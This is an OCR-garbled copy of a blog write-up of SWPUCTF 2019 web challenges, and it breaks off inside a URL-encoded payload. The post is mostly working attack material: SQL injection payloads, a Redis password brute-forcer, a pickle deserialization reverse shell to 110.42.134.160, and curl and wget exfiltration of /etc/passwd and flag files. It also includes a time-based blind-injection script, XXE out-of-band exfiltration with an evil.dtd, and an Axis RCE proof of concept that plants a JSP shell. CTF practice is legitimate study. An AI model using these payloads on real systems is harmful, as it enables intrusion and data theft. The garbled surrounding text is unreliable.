SWPUCTF2019webE & B

iR

) ;-

H1E CC 4.0 BY-SA AN, HEIFM LR SCH A BEEAMAEH .

bmth666 o T 2022-04-05 14:05:18 K i o 112

Z4 web

%

AL B A SO E R BISCE,

2D

¥

R S

off

BREH:

8

AC4EHE: hitps://blog.csdn.net/bmth666/article/details/12377336

22 X E TR

19 RWXE 0ITH
ITHER

DO .
WO»“»VVIDGMs
AR AN

-
Wowowﬂ%ﬁ &
SOIOOL ™

[SWPU2019]web1-easy_web


https://blog.csdn.net/bmth666
https://blog.csdn.net/bmth666/category_9751531.html
https://blog.csdn.net/bmth666/category_9797538.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/bmth666/article/details/123773368
https://blog.csdn.net/bmth666/category_9751531.html
https://blog.csdn.net/bmth666/category_9797538.html

AP

£
H

btz =l = Vil s )

H—ANEFHE, AT RKTREGRY ARE ML

[TEEREHE

APE: 1111
HiEEm &

TR

BRI SR

&8 rr&sms v 5

1111 1111 FEETL, IEThE

22 1M HEELL Im=ca
i HEEIE

BRERIE —ANHIE &, EEAEA11111111, RIS, BiZZ&sqiEAN

[ SR

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "11111111" limit 0.1" at ling 1

I'&® I'&RaE K&
FEHEERT SEE

ZHTor, FHEZE, S Hunionk I H 227
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22

=y
reg - tsvE s
2 3 FFETEMEA

JETH RILERT AR -1 /**/group/**/by/**/22,'1 , —FER] UG H K225

[ SFB



Unknown column '23' in 'group statement’

I&& I'&RE
FEHRFUEXEER

BEBIEE: -1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22

e
[ I esiE

10.2.26-MariaDB-log 3

BTFREMET, Bififfwp, KIid#E Tinformation_schema, 1% i Ifif# fpayload:

-1'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8
,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22



SiFE
&5

FLAG_TABLE news users gtid slave pos ads users

BETIRELILIEN, BEFHHA—T
FRIEEREH: select * from users;

select * from users;

—_———

Angelina I-kill-you
Dummy pEssword
SECUPre crappy
stupid stupidity
sSuperman genious
batman mohtle
admin admin
adminl adminl
admin2 admin2
admin3 admin3
dhakkan dumho
adming adming
———————— ————— +

13 rows in zet (H.60

m mm mm mm mm mE Em mE mm mm mm = mm G omm

select 1.2.3 union select #* from users;
+

Angelina
Dummy
secure
stupid
superman
batman
admin
adminl
admin2
admin3
dhakkan

I-kill-you
pResuword
crappy
stupidity
genious
mohtle
admin
adminl
admin2
admin3
dumbo

[N = ol -~ = - - e - L 2 g R TR L R

e

+
|
|
|
|

——————— +

14 rows in set <B.B0 sec)>

AHAH K

select "3 from (select 1,2,3 union select from users)a



mysgl» select "3° from (select 1,.,2.3 union select * From usersla;

I-kill-you
plPssword
crappy
stupidity
genious
moht le
admin
adminl
admin2
admin3
dumhbo
admin<

14 rows in set

& N TTF R R DUR ) 48 R

select b from (select 1,2,3 as b union select * from users)a;

mysgl> select b from (select 1.2.3 as b union select * from usersla;

I-kill-you
pResuword
crappy
stupidity

genious
mohtle
admin
adminl
admin2
admin3
dumbo

14 rows in set <(B.B2 sec)>

4 B AT # i payload i R

1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*fro
m/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, '22



3,flag{9633b328-80e9-4298-a18b-f14d54ece9e7},53e217ad4ci21eb9565ci25a5ec3bbbe, bObaee9d279d 34fa1dfd7 1aadb908c 3t

r&ma

3

2R B — NI K payload 1§ sys.schema_auto_increment_columns F1 sys.schema_table_statistics with_buffer & IL#AD

A, S5HBHRE

[ SFB

Table 'sys.schema_auto_increment_columns' doesn't exist

I&&
FREHFEREEE

2%
mysql.innodb_table_stats
Hl—Hibypass information_schema

[SWPU201 9lweb2-python ] 2R R

¥R ADeserialization, M5 & Fit 2 R UBAEE —NMER
< --BAEM R IX A F IS ~Red*s-->

HHEA T —AESMN D, 1RAE T A RredisHl < HIIRTH

2% . H[iiReaderi: il Pythondw 121
1% F python2 I A< SR J& i redis % 75

I&maE


https://mariadb.com/kb/en/mysqlinnodb_table_stats/
https://www.anquanke.com/post/id/193512
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

# -*- ¢
import
import

path
path =
file =
passwor

while 1
lin
pas
if

pas

def che

oding: utf-8 -*-
socket
sys

"E:/ctf/Web/F M/ 55 04 txt”
unicode(path, 'utf8")
open(path,"r")

ds=[]

e = file.readline()
swords.append(line.replace("\n",""))
not line:

break
s # do something

ck(ip, port, timeout):

try:

exc

if __na

socket.setdefaulttimeout (timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#print u"[INFO] connecting " + ip + u":" + port
s.connect((ip, int(port)))
#print u"[INFO] connected "+ip+u":"+port+u" hacking..."
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"IP:{@}FIERBMUTH" . format(ip)
elif "Authentication" in result:
for passwd in passwords:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK" in result:
return u"IP:{0} HFEFHL, %ML :{1}".format(ip,passwd)
else:pass
else:pass
s.close()
ept Exception:
pass

me__ == "'_main__':

# default Port

por
ip

res
pri

t="28884"

= '117.21.200.166"

ult = check(ip,port,timeout=10)
nt(result)



8 3| % Gpassword
redis-cli -h 117.21.200.166 -p 28884 -a password

:~# redis-cli -h 117.21.200.166 -p 28884 -a password
option on the command line interface

Warning: Using a password with '-a' or '-u
may not be safe.

117.21.200.166:28884> info

## Server

redis_version:4.0.14
redis_git_shal:1le82a561
redis_git_dirty:0

redis build id:af2077918183bods
redis_mode:standalone

os:Linux 4.19.221-0419221-generic x86_64
arch_bits:64

BRI E Bredis R T &4

117.21.200.166:28884> keys =*

1) "session:d54e@416-7c2c-41a3-aebe-4edeb54a537e”
"session:5Tf6840F-0459-4cd5-a5f@-af@0930e8e16”
"session:cl349f1a-20c5-4212-b2f9-7d257eb2b86e"
"session:8f7676fd-1b96-4dec-a356-edla51bag6bd”

"session:a454a80d-59b9-4dcf-9910-096050c289e3"
"session:cB86T8537-fab4-427e-8ead-02537e75e70d"

117.21.200.166:28884> get session:c86f8537-fab4-427e-8ead-02537e75e70d
"{dp1\nS'username'Ynp2\nV111\np34nsS'_permanent'\np4\nI@i\ns."
117.21.200.166:28884>

RI ApythonE [ Pickle, TiPickle& Rl AT a4 1)

import cPickle
import os
import redis

class exp(object
def _ reduce__ (self
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conne
ct(("110.42.134.160",6666));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subprocess.call(
["/bin/sh","-i"]); """

return (os.system, (s

= exp
= cPickle.dumps(e

= redis.Redis(host="117.21.200.166",password="password", port=28884, db=0
set("session:b87a278b-19f4-4409-8782-3e79236746a8", s

X B R B AE A linuxc AT I 4
EERRInuAT IR, FTHEZwindowsHATIRIZER, W LLE B kA —#

117.21.200.166:28884> get session:b87a278b-19f4-4409-8782-3e79236746a8
"cposix\nsystem\np1\n(S'python -c \\'import socket,subprocess,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"110.42.134.160\",6666));0s.dup2
(s.fileno(),@);o0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subprocess.call{[\"
/bin/sh\" ,\"=i\"1);\\" '\np2\ntRp3\n."

117.21.200.166:28884> get session:b87a278b-19f4-4409-8782-3e79236746a8
"cnt\nsystem\npl\n(S'python -c \\'import socket,subprocess,os;s=socket.socket(so
cket.AF_INET,socket.SOCK_STREAM);s.connect((\"110.42.134,160\",6666));0s.dup2(s.
fileno(),®);os.dup2(s.fileno(),1);o0s.dup2(s.fileno(),2);p=subprocess.call([\"/bi
n/sh\" ,\"-i\"1);\\' "\np2\ntRp3\n."

117.21.200.166:28884> ||




I 15 2 ) #shell

ubuntu@VM-0-4-ubuntu:~/ctf$ nc -lvnp 6666
Listening on [0.0.0.0] (family @, port 6666)
Connection from 117.21.200.166 28030 received!
/bin/sh: can't access tty; job control turned off
/app # 1s

static

templates

venv

wtf-swpu-ctf.py

fapp # 1s /

app

bin

dev

etc

flag.txt

home

lib

media

mnt

opt

proc

redis.conf

root

run

run.sh

sbhin

Srv

5Y5

tmp

usr

var

fapp # cat /flag.txt
flag{f468a8e3-bedc-47f22-all0-e5e23ddeblb5}
/app # []

WMANEREKSHLEIAT BN, Villupload R Permission denied!

HHEI, W UUEEH—1404 not found IR

f£ flask #1, 7T LA app.errorhandler() 3t g Ryt 45 R AL E R $, SH02 HTTP SR RSHERERERRFER, BRI LU 2]
£ 404 H5RTH B REFAE

W —ANAFEMEEH: /logina , £73404 not found, 7E HTTP ki 3RAIE LLE 2| —5 baseb4 FEifH



GET /logina HTTP/1.1 HTTP/1.1 200 OK

A
Host: c8898%4b3d—800a—bdd5551adﬁbc.node4.buuoj.cn:81 i Server: openresty
User-Agent: Mozi .0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Date: Sun, 27 Mar 2022 11:28:25 GMT
Accept: Content-Type: text/html; charset=utf-8
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*q=0.8 Content-Length: 13
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Swpuctf_csrf_token: UOVDUKVUXOtFWTprZXIxcXF3d3dIZWUhQCMkJVAmKg==
Referer: http://c8898510-0313-4b3d-800a-bdd5551ad6bc.noded.buuoj.cn:81/
Connection: close 404 not found
Cookie:

session=.elyrVspMUbKqVIJIUr)S8g1xLFeq1VHKLI7PyU PzFOyKikqTdVRKkgsLi7PLwlgVEpMyQWK
6yiVFqcW5SXmpsKFagFxjxhY.YkBJ2w.DEtPILszFahMz79adVFCWQoc-3w
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

base64f#iL 5 AT AR H]: SECRET_KEY:keyqqquwweee ! @#$%"&*
% FHHE B R T session, AAMRA T AR secret_key thitk session RBEIT#AL, { fflask_session cookie_managerT &

E: \ctf\Web\ & #l FH\flask-session-cookie—-manager>python2 flask_session_cookie_manager2.py decode —c ".eJyrVspMUbKqV1JIUrJ
S8g1xLFeqlVHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIgqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.YkBJ2w.DEtPILszFahMz79adVFCWQoc—3w" -s "key
qaquaweee ! @#$%"&*"

{fu'username': u'admin', u'password': u'admin', u'id': '100', u'is_login': True}

E: \ctF\Web\ % = | FH \flask-session—-cookie—-manager>python2 flask_session_cookie_manager2.py encode -t "{u'username': u'admi

n', u'password': u'admin', u'id': '1', u'is_login': True}" -s "keyqqqwwweee!Q@H#$%"&*"
.edyrVspMUbKqV1LJIUrJS8g20tViWgqlVHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIgVEpMyQWK6eYyiVFqcW55XmpsKFagFiyxgX.YKBNMQ. q8jeyP3RKmyGMEDt
1ILFX60PHuo

E:\ctf\Web\ i #l i \flask-session-cookie-manager>

KidEN1 8B Aupload, 4 H T VERS:

@app.route('/upload',methods=["GET', 'POST'])
def upload():
if session['id'] != b'1":
return render_template_string(temp)
if request.method=="POST":
m = hashlib.md5()
name = session| 'password']
name = name+'qweqwequwe'
name = name.encode(encoding="utf-8")
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip
n.update(ip)
md5_ip = n.hexdigest()

ip.encode(encoding="utf-8")

f=request.files['file"]
basepath=o0s.path.dirname(os.path.realpath(__file_))
path = basepath+'/upload/'+md5_ip+"'/'+md5_one+'/'+session[ 'username’ |+"/"
path_base = basepath+'/upload/'+md5_ip+"'/"
filename = f.filename
pathname = path+filename
if "zip" != filename.split('."')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return ‘error'
if not os.path.exists(path):
try:
os.makedirs(path)



except Exception as e:
return ‘error’
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return ‘error’
try:
cmd = "unzip -n -d "+path+" "+ pathname
if emd.find('|') != -1 or emd.find(';') != -1:
waf()
return ‘error'
os.system(cmd)
except Exception as e:
return ‘error’
unzip_file = zipfile.zZipFile(pathname, 'r')
unzip_filename = unzip_file.namelist()[@]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/") != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return ‘error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type'] = 'image/png’
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html")

@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type'] = 'image/png'’
return resp
else:
return "can't give you"

i

BAT A A — AN RERESEE, SRR AU A R AT EAE S, FR 454 showflag() B ZUVRENDS, FRATA LA1S 50
flag.jpg HULE flask B FAHR B 3tH) flag B3 F. BMARMREGIE A5 /xxx/flask/flag/flag. jpg MK EEH:, BIAELEK flag.jpg
A

TE linux ¥, /proc/self/cwd/ £1aFIFFENI AT B %, FAEANIE flask TAE HR®ES, FATAILA

H /proc/self/cwd/flag/flag.jpg KAl flag.jpg

In -s /proc/self/cwd/flag/flag.jpg flag
zip -ry flag.zip flag



Cookie: l\ Vary: Cookie
session=.elyrVspMUbKqVIIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwiqVEpMyQW
K6yiVFqcW5SXmpsKFagFiyxgX. YkBNMQ.q8jeyP3RKmyGMEDt1ILFX60PHuo flag{6fd91591-89f3-4d0a-93f39-4196c2f6f2ed}
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache |

168943306237642823094077298456
Content-Disposition: form-data; name="file"; filename="flag.zip"
Content-Type: application/x-zip-compressed

PKOO

0000000{TO000000000000000flaguT ooP@b
P@bux0000000000000/proc/self/cwd/flag/flag.jpgPKOOOO
0000000{TO00000000000000000000000000000flaguToO00
P@buxO000000000000PKOOOO0OOO0000J000Z00000
168943306237642823094077298456--

WA LIMER /proc/self/environ , REUGHTERIFIERE, W LLMFIRE flask B RIZa%T B4, FIEIT LX) BE 2w 1E Bt Bk
BEE flag.jpg

In -s /proc/self/environ where

zip -ry where.zip where

In -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg flag
zip -ry flag.zip flag

-r: R EH B R THATA T B R RSO — sk
-y: BERERFSER, MARZERITE AKX, ASBINEUNXZ KRR T A

ISk
FHE—NRIAT

f=request.files['file"]

path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session[ 'username’]+"/"
filename = f.filename

pathname = path+filename

try:
cmd = "unzip -n -d "+path+" "+ pathname
if emd.find('|") != -1 or cmd.find(';"') != -1:
waf()

return 'error'
os.system(cmd)

A LATE session[ 'username’ ] VEM A P & 4B ATH4, WREIB Hcurl, RNRAILIEE

& curl 110.42.134.160:6666 -d "@/etc/passwd" #
& curl 110.42.134.160:6666 -d whoami #
& curl 110.42.134.160:6666 -T "/etc/passwd" #

Fix B R EHEEfilenameb A $(sleep 5).zip PATH4L

filenameH A& CHF4Z, AEEHH /, ChaMd5HIwpff ) Rawkx ZB&BE N / , RIEEEE, HIERLME
F ${PATH:0:1} , Ejnfaj#

=idwget, flag>cfh 2 &EFT, BEREEEEIA]

$(III="awk 'BEGIN{printf \"%c\", 47}' &&wget 110.42.134.160:6666${II1} whoami').zip
$(wget 110.42.134.160:6666${PATH:0:1} whoami™ ).zip
$(wget 110.42.134.160:6666${PATH:0:1} cat .${PATH:0:1}flag${PATH:0:1}flag.jpg ).zip



ubuntu@VM-@-4-ubuntu:~% nc -lvnp 6666

Listening on [0.0.0.08] (family @, port 6666)

Connection from 117.21.200.166 18945 received!
dd32da-9378-4697-8TbT-d381525e7173} HTTP/1.1

Host: 118.42 .160: 6666

User-Agent: Wge
Connection: close

~C
ubuntu@VM-0-4-ubuntu:~% D

BRIMBAIAFniEflag X b4, MLAELZRBMAERESR, BT | Bd¥ET, A |basees , HEBIKE, WAITTLIKER
Wl B — AN, R JGbaseBAT RN, KIlbaseb4BRNAT, FEEEALE, 2R -wARKBEEBTER, BRESG—IERE
T )

echo 1 .zip

wget 110.42 PATH 01 .zip

/app # basebd -w 0 1.txt
baseb4: unrecognized option: w
BusyBox v1.30.1 (2019-06-12 17:51:55 UTC) multi-call binary.

Usage: base64 [-d] [FILE]
Baseb4 encode or decode FILE to standard output

-d Decode data
/app # []

S ZRMAKI, BATH LLEHshiidTshellifi4, & % Erpythonfz #shellifi 4

python -c¢ 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.134
.160",6666));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"
DR

ubuntu@VM-0-4-ubuntu:~/ctf$ python3 -m http.server
Serving HTTP on 0.6 0 - OO (http://0.0.0.0:8000/)

117.21.200.166 - - [28/Mar/2022 18:01:48] "GET /l.sh HTTP/1.1" 280 -

0

B JE T 8T RHAT RN AT i 2 ) 3#shell

wget 110.42 PATH 1 .zip
sh 1 .zip



ubuntu@VM-0-4-ubuntu ctf$ nc -lvnp 6666
(family @, port 6666)

Connection from 117.21.200.166 45335 received!

/bin/sh: can't access tty; job control turned off

fapp # 1s

1.sh

1.txt

__pycache__

flag

login.py

templates

upload

fapp # cd flag

fapp/flag # cat flag.jpg

flag{17ceb9e9-6b87-4534-be2b-07cd20db3778}

/app/flag # []

RE—ANjs3eft, F— TG

= C @ &  view-source:http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/static/js/login.js
)3 () CTF ) ERHE HE TR - .. () eeEeE (- oo .. K bmth [# CSDN - SUFFe#it.. A bmth-EE \Q B2EFE666 - BEHE

function loginAjax() {

var username = document. getElementById(“username”). value;
var password = document. getElementById("password”). value;
var object = new Object();
object. username = username;
object. password = password;
var xhr = new XMLHttpRequest();
var jsonStr = JSON. stringify(object);
xhr. open(“post”, “index. php?r=Login/Login”) ;
xhr. setRequestHeader ("Content-Type”, “application/json”) ;
xhr. send (jsonStr) ;
console. log (jsonStr) ;
=
function checkResiger() {
alert ("VEMIhREMAIFIE! 7) ;
}

FE IR usernameFlpassword LhjsontE SR 5 &K 45 index.php?r=Login/Login

AR, username N5 5L EHES500451R, MG SERIER Bx. FILA KEHEENELE, BEFHEWEpayload. HT @
H @fusernamei# A7 T A MR, BT DATEVE(E B B R HIMTYEN, (EHRENSNEE, TR UERBTESEN
PWIRRIERF SEMALS ; , HELEZBEAPAT, RETHIEE VN ZLE500, EEXETUEIEREE, HHTREERSEN



POST v http://3db58513-21a0-4e8b-a669-008b60747bf6.noded.buugj.cn:81/index.php?r=Login/Login

Params @ Authorization Headers (9) Body @ Pre-request Script Tests Settings

none form-data x-www-form-urlencoded @ raw binary GraphQL JSON ~

1 1'username”: “admin' ;" , "password” :"admin"[}

Body Cookies Headers (6) Test Results @ status: 200 OK

Pretty Raw Preview Visualize

{"code":"202","info":"error username or password."}

AT IE RS

"username":"1';SET @a=0x73656C65637420736C6565702835293B;PREPARE st FROM @a;EXECUTE st;","password":"admin'"}

POST ~ http://3db58513-21a0-4e8b-a669-008b60747bf6.noded.buucj.cn:81/index.php?r=Login/Login “

Params @ Authorization Headers (9) Body @ Pre-request Script Tests Settings Cookies

none form-data x-www-form-urlencoded @ raw binary GraphQL JSON v Beautify

1 H"username”:"1";SET @a=0x73656C65637420736C65657028352938; PREPARE st FROM @a;EXECUTE st;","password":"admin"}

Body Cookies Headers (6) Test Results @ 200 OK 512s 244B  Save Response -

Pretty Raw Preview Visualize

{"code™:"202","info":"error username or password."}

BRINAT , ARBA B 5 RN B A -



import requests
import json
import time

def main():
#/8 H # hf
url = "'"http://3db58513-2120-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=Login/Login"'""
##EApayload
payloads = "1';set @a=0x{@};prepare ctftest from @a;execute ctftest-- -"
flag = "'
for i in range(1,30):
#Z#jpayload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(32,128):
#IGHELFHIpay Load #1716 H | F B HTj son F 5
time.sleep(0.1)
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))), 'password': 'admin'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):

return "'.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == ' main_ '
main()

B JafEflag®Rfagh) H R HE R —A glzjin_wants_a_girl friend.zip E48f, MBESRIRIG, RUBRNFEELEag.php IR

D glzjin wants_a girl friend.zij 2% B EHEREFN
Jidea Jidea
Common Common
C.ontmller Controller
k:idel b
> static Moc.iel
View static
View
D favicon.ico 105,861
Elflag.php 80
BElindex.php 177

fE /Controller/BaseController.php FFFETE—ANinclude %, FEM T extract)BH T E#ITRE, FAETERS

public function loadView($viewName ='"', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
¥
¥



1E /Controller/UserController.php F A H T loadView, 3 H. $listData HI{E I #E

public function actionIndex()

{

]

->loadView( 'userIndex',

HXFTRH /view/userIndex.php FIAFETE —ANSCAFEEREX

akeimg’

)5

><?php

{;1mg_F}le})

$img file =
img_dir =
$img_basebd =

<img src=
<

64($img file)

MAMERRKRT, BEYH

http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=User/Index&img_file=/../flag.php

B3k flag.phpZbase64 5 I N &

\\\\\ SN d e s

<h5>FKIFIHE 7 : </hb>

{div class="fakeimg”><{img src="data:image/;base64, PD9waHAKICAgIGY jaG8gImZs¥WcgaiMgaGVyZSxidXQgeW911G]l 1c3QedHT5IHRVIHN] ZSBpdC4i

./favicon.

ico';

) . $img _file;
($img_dir);

$img basebd . "U>';

OwogICAgTGZsYWegPSAi ZmxhZ3tiMT110DESNy0yODNILTQyY2Et YTRmY i 0vYmEwMTR iMDc IMT19

1jsK
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excel xxe

BATE Sk —AXsx3C 4

iszy@virtual-machine:~fstudyS unzip 11.xlsx
Archive: 11.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: docProps/app.xml
extracting: [trash]/eee6.dat
i inflating: x1/ rels/workbook.xml.rels

inflating: x1/styles.xml

inflating: x1/theme/themel.xml

inflating: x1/workbook.xml

inflating: x1/worksheets/sheet1.xml

inflating: docProps/core.xml
szy@virtual-machine:~/study$

SRJGIRE] [Content_Types].xml , TEZE21THARAIKIpayload

DOCTYPE x
<!ENTITY xxe SYSTEM "http://110.42.134.160:6666/">

X>&xxe;</x

RIEBEHESE: zip -r xxe.xlsx *, LFf%

ubuntu@VM-0-4-ubuntu:~% nc -lvnp 6666
Listening on [0.0.0.8] (family @, rt 6666)
Connection from 117.21.200.166 43168 received!
GET / HTTP/1.1

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_181

Host: 110.42.134.160:6666

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*;
Connection: keep-alive

0

RI Java ki A4A(5 B51.8.0_181
BT R E Exxe, I oob ik H 3T {4

DOCTYPE a
<IENTITY % file SYSTEM "file:///etc/passwd">
<IENTITY % dtd SYSTEM "http://110.42.134.160:8000/evil.dtd">
%dtd;

x>&send;</x

evil.dtd:

<IENTITY % payload "<!ENTITY send SYSTEM 'http://110.42.134.160:6666/?content=%file; " '>"> %payload;


https://www.jianshu.com/p/73cd11d83c30
https://xz.aliyun.com/t/3741

{HRX BT RHEWNZ AT XM, R
¥eFh B, WL —FFIRE R /ctrfffff/backups/ B R TFHISCH, BRAXANBEFR TR RE—A, FrCABRAIA LE 7
H, iBidnetdoc

DOCTYPE a
<IENTITY % file SYSTEM "netdoc:../webapps/ctffffff/backups/">
<IENTITY % dtd SYSTEM "http://110.42.134.160:8000/evil.dtd">
%dtd;

B EMKEAE

ubuntu@VM-0-4-ubuntu:~% nc -lvnp 6666

Listening on [0.0.0.0] (family @, port 6666)

Connection from 117.21.200.166 48211 received!
ntentsbackup-at7f385c8840F173779124df915bbebb.zip |HTTP/1.1
ntrol: no-cache
no-cache

Connection: keep-alive

RIFFfEaxisHiflag.class

T Flag. class 52

package tank.book;

= impeort java.lo.FileInputStream;
import java.io.IOException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

= public class Flag extends HttpServlet {
= protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
14 paramHttpServletResponse.setContentType(“text/html; charset=utf-8");
FileInputStream fileInputStream = new FileInputStream("/flag");
ServletOutputStream servletOutputStream = paramHttpSerwvletResponse.getOutputStream();
byte[] arrayOfByte = new byte[256];
int i = fileInputStream.read(arrayOfByte);
if (i > @)
servletOutputStream.write(arrayOfByte, @, i);

5 1) % & R BL500/9 15, flag.class¥& A R LA flag ST
axis [ AdminService R4S AI PLERE — AN IERIMENARSS, BRATATLLEE XXE k518 A M A geid axis AdminService KB NIE, RJE 33K

— A REENRS RiEAT RCE BiE HEERE flag

POC:
S FxxedT — kA iRandomService (3%: B AMIBERERZ: ../webapps/axis/ , HAshel3Xff: bmth.jsp)


http://www.lmxspace.com/2019/07/20/Axis-Rce%25E5%2588%2586%25E6%259E%2590/
https://github.com/justforfunya/Axis-1.4-RCE-Poc

I--><nsl:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/provide
rs/java" xmlns:nsl="http://xml.apache.org/axis/wsdd/"><ns1l:service name="RandomService" provider="java:RPC"><req
uestFlow><handler type="RandomLog"/></requestFlow><ns1:parameter name="className" value="java.util.Random"/><ns1
:parameter name="allowedMethods" value="*"/></ns1:service><handler name="RandomLog" type="java:org.apache.axis.h
andlers.LogHandler" ><parameter name="LogHandler.fileName" value="../webapps/axis/bmth.jsp" /><parameter name="L
ogHandler.writeToConsole" value="false" /></handler></nsl:deployment

urlgm i & N

<!DOCTYPE a [

<IENTITY % dtd SYSTEM "http://127.0.0.1:8080/axis/services/AdminService?method=%21%2d%2d%3e%3c%6e%73%31%3a%6
4%65%70%6Cc%61%79%6d%65%6e%74%20%78%6d%6 C%6€%73%3d%22%68%74%74%70%3a%2%21%78%6d%6C%2e%61%70%61%63%68%65%2e%6T%7 2
%67%21%61%78%69%73%21%77%73%64%64%2%22%20%78%6d%6 C%6€%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2t%21%78%6d%6C%2e%
61%70%61%63%68%65%2e%6T%72%67%21%61%78%69%7 3%21%77%73%64%64%21%70%7 2%61%76%69%64%65%7 2%7 3%2%6a%61%76%61%22%20%7
8%6d%6C%6e%73%3a%6e%73%31%3d%22%68%74%74%70%3a%21%21%78%6d%6C%2e%61%70%61%63%68%65%2e%6 %7 2%67%2F%61%78%69%73%2f
%77%73%64%64%21%22%3e%3c%6e%73%31%3a%73%65%7 2%76%69%63%65%20%6e%61%6d%65%3d%22%52%61%6e%64%6T%6d%53%65%7 2%7 6%69%
63%65%22%20%70%7 2%61%76%69%64%65%72%3d%22%62a%61%76%61%3a%52%50%A43%22%3e%3C%72%65%7 1%75%65%7 3%74%A6%6 C%6T%77%3e%3
C%68%61%6e%64%6C%65%72%20%74%79%70%65%3d%22%52%61%6e%64%6T%6d%A k6 T%67%22%2T%3e%3 %2 %7 2%65%71%75%65%7 3%7 4%46%6 C
%61%77%3e%3c%6e%73%31%3a%70%61%72%61%6d%65%74%65%72%20%6€%61%6d%65%3d%22%63%6 C%61%7 3%7 3%4e%617%6d%65%22%20%7 6%6 1%
6C%75%65%3d%22%6a%61%76%61%2e%75%74%69%6C%2e%52%61%6e%64%6T%6d%22%2%3e%3c%6e%73%31%3a%70%61%7 2%61%6d%65%74%65%7
2%20%6e%61%6d%65%3d%22%61%6C%6C%6T%77%65%64%Ad%65%74%68%6T%64%73%22%20%76%61%6C%75%65%3d%22%2a%22%2f%3e%3ck2f%k6e
%73%31%3a%73%65%72%76%69%63%65%3e%3C%68%61%6e%64%6C%65%7 2%20%6e%61%6d%65%3d%22%52%61%6e%64%6 T%6d%4 %6 T%67%22%20%
74%79%70%65%3d%22%6a%61%76%61%3a%61%72%67%2e%61%70%61%63%68%65%2e%61%78%69%7 3%2e%68%61%6e%64%6 C%65%7 2%7 3%2e%AC%6
T%67%48%61%6e%64%6C%65%72%22%20%3e%3C%70%61%7 2%61%6d%65%74%65%7 2%20%6€%61%6d%65%3d%22%AC)%6T%67%48%61%6e%64%6C%65
